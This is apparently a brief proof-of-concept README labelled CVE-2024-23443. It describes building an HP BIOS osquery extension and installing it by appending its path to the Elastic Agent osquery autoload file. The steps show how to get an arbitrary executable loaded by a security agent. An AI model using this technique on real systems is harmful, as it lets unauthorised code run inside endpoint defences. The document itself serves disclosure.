Proof of Concept (POC)

CVE-2024-23443

hp_bios_osquery

Add osqery extension HP BIOS WMI to Elastic Agent

Dependencies

• pip install pywin32
• pip install osquery
• pip install pyinstaller

Build

pyinstaller --onefile hp_bios_enumeration.py

Install

1. Copy extension to Elastic agent location

   copy .\hp_bios_enumeration.exe "C:\Program Files\Elastic\Agent\data\elastic-agent-XXXXXX\components\"

2. Update Elastic osquery auto_load file

   "C:\Program Files\Elastic\Agent\data\elastic-agent-XXXXXX\components\hp_bios_enumeration.exe" | Out-File "C:\Program Files\Elastic\Agent\data\elastic-agent-XXXXXX\run\osquery-default\osquery\osquery.autoload" -Append

3. Restart agent

4. Confirm extension is loaded

   osqueryi

   osquery> SELECT * FROM hp_bios_enum;